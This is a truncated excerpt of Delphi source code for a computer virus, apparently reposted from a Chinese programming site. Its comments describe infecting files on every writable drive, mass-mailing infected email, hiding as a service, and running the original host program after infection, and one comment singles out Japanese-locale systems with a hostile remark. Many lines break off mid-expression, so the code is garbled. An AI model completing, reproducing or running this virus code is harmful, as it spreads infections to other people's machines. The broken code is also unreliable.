var
DriverList: string;
i
begin
if GetACP =
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可寫的磁盤列表
Len := Length(DriverList);
while True do //死循環
begin
for i := Len downto
LoopFiles(DriverList[i] +
SendMail; //發帶毒郵件
Sleep(
end;
end;
{ 主程序開始 }
begin
if IsWin
RegisterServiceProcess(GetCurrentProcessID
else //WinNT
begin
//遠程線程映射到Explorer進程
//哪位兄台願意完成之?
end;
//如果是原始病毒體自己
if CompareText(ExtractFileName(ParamStr(
InfectFiles //感染和發郵件
else //已寄生於宿主程序上了
begin
TmpFile := ParamStr(
Delete(TmpFile
TmpFile := TmpFile + #
ExtractFile(TmpFile); //分離之
FillStartupInfo(Si
CreateProcess(PChar(TmpFile)
InfectFiles; //感染和發郵件
end;
end
[
From:http://tw.wingwit.com/Article/program/Delphi/201311/8477.html